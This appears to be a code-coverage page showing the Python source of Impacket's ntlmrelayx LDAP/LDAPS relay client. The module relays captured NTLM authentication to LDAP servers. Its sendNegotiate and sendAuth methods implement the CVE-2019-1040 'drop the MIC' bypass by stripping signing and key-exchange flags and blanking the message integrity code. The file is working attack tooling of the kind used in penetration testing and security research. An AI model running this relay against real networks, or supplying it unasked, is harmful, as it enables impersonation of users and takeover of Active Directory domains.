Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 

# 

# This software is provided under under a slightly modified version 

# of the Apache Software License. See the accompanying LICENSE file 

# for more information. 

# 

# LDAP Protocol Client 

# 

# Author: 

# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 

# Alberto Solino (@agsolino) 

# 

# Description: 

# LDAP client for relaying NTLMSSP authentication to LDAP servers 

# The way of using the ldap3 library is quite hacky, but its the best 

# way to make the lib do things it wasn't designed to without touching 

# its code 

# 

import sys 

from struct import unpack 

from impacket import LOG 

from ldap3 import Server, Connection, ALL, NTLM, MODIFY_ADD 

from ldap3.operation import bind 

try: 

from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED 

except ImportError: 

LOG.fatal("ntlmrelayx requires ldap3 > 2.0. To update, use: pip install ldap3 --upgrade") 

sys.exit(1) 

 

from impacket.examples.ntlmrelayx.clients import ProtocolClient 

from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 

from impacket.ntlm import NTLMAuthChallenge, NTLMSSP_AV_FLAGS, AV_PAIRS, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION 

from impacket.spnego import SPNEGO_NegTokenResp 

 

PROTOCOL_CLIENT_CLASSES = ["LDAPRelayClient", "LDAPSRelayClient"] 

 

class LDAPRelayClientException(Exception): 

pass 

 

class LDAPRelayClient(ProtocolClient): 

PLUGIN_NAME = "LDAP" 

MODIFY_ADD = MODIFY_ADD 

 

def __init__(self, serverConfig, target, targetPort = 389, extendedSecurity=True ): 

ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 

self.extendedSecurity = extendedSecurity 

self.negotiateMessage = None 

self.authenticateMessageBlob = None 

self.server = None 

 

def killConnection(self): 

if self.session is not None: 

self.session.socket.close() 

self.session = None 

 

def initConnection(self): 

self.server = Server("ldap://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL) 

self.session = Connection(self.server, user="a", password="b", authentication=NTLM) 

self.session.open(False) 

return True 

 

def sendNegotiate(self, negotiateMessage): 

# Remove the message signing flag 

# For SMB->LDAP this is required otherwise it triggers LDAP signing 

 

# Note that this code is commented out because changing flags breaks the signature 

# unless the client uses a non-standard implementation of NTLM 

negoMessage = NTLMAuthNegotiate() 

negoMessage.fromString(negotiateMessage) 

# When exploiting CVE-2019-1040, remove flags 

if self.serverConfig.remove_mic: 

if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: 

negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN 

if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: 

negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN 

 

self.negotiateMessage = negoMessage.getData() 

 

# Warn if the relayed target requests signing, which will break our attack 

if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: 

LOG.warning('The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)') 

 

with self.session.connection_lock: 

if not self.session.sasl_in_progress: 

self.session.sasl_in_progress = True 

request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY') 

response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) 

result = response[0] 

try: 

sicily_packages = result['server_creds'].decode('ascii').split(';') 

except KeyError: 

raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result) 

 

if 'NTLM' in sicily_packages: # NTLM available on server 

request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self) 

response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) 

result = response[0] 

if result['result'] == RESULT_SUCCESS: 

challenge = NTLMAuthChallenge() 

challenge.fromString(result['server_creds']) 

return challenge 

else: 

raise LDAPRelayClientException('Server did not offer NTLM authentication!') 

 

#This is a fake function for ldap3 which wants an NTLM client with specific methods 

def create_negotiate_message(self): 

return self.negotiateMessage 

 

def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 

if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 

respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 

token = respToken2['ResponseToken'] 

else: 

token = authenticateMessageBlob 

 

authMessage = NTLMAuthChallengeResponse() 

authMessage.fromString(token) 

# When exploiting CVE-2019-1040, remove flags 

if self.serverConfig.remove_mic: 

if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: 

authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN 

if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: 

authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN 

if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: 

authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH 

if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: 

authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION 

authMessage['MIC'] = b'' 

authMessage['MICLen'] = 0 

authMessage['Version'] = b'' 

authMessage['VersionLen'] = 0 

token = authMessage.getData() 

 

with self.session.connection_lock: 

self.authenticateMessageBlob = token 

request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None) 

response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) 

result = response[0] 

self.session.sasl_in_progress = False 

 

if result['result'] == RESULT_SUCCESS: 

self.session.bound = True 

self.session.refresh_server_info() 

return None, STATUS_SUCCESS 

else: 

if result['result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS': 

raise LDAPRelayClientException('Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )') 

return None, STATUS_ACCESS_DENIED 

 

#This is a fake function for ldap3 which wants an NTLM client with specific methods 

def create_authenticate_message(self): 

return self.authenticateMessageBlob 

 

#Placeholder function for ldap3 

def parse_challenge_message(self, message): 

pass 

 

class LDAPSRelayClient(LDAPRelayClient): 

PLUGIN_NAME = "LDAPS" 

MODIFY_ADD = MODIFY_ADD 

 

def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ): 

LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 

 

def initConnection(self): 

self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL) 

self.session = Connection(self.server, user="a", password="b", authentication=NTLM) 

self.session.open(False) 

return True